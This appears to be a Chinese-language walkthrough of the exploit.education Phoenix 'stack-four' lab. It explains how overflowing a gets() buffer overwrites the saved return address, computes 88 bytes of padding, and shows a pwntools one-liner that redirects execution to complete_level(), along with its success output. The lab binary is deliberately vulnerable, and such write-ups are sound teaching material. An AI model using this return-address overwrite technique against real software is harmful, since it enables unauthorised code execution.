/* * phoenix/stack-four, by https://exploit.education * * The aim is to execute the function complete_level by modifying the * saved return address, and pointing it to the complete_level() function. * * Why were the apple and orange all alone? Because the bananna split. */
当执行到gets函数时,栈顶地址作为gets的参数传入,所以我们的输入是从栈顶开始向下覆盖的。如果我们这时利用溢出将ret to main这个地址(返回地址)覆盖成complete_level函数的地址,那么start_level执行完毕后,想要返回main函数继续执行时,却因为我们已经更改了返回地址,去执行了complete_level函数。
那么接下来的事儿就简单了。 首先,complete_level函数的地址在上面已经看到,为0x040061d,那么为了覆盖返回地址(也就是图中ret to main的地址),我们需要多少个字符填充呢?对,就是0x50+8 = 88个字节,后面跟上0x040061d,就完成过关。
1 2 3 4
user@phoenix-amd64:~$ python -c "from pwn import *;print 'A'*88+p64(0x040061d)" | /opt/phoenix/amd64/stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education and will be returning to 0x40061d Congratulations, you've finished phoenix/stack-four :-) Well done!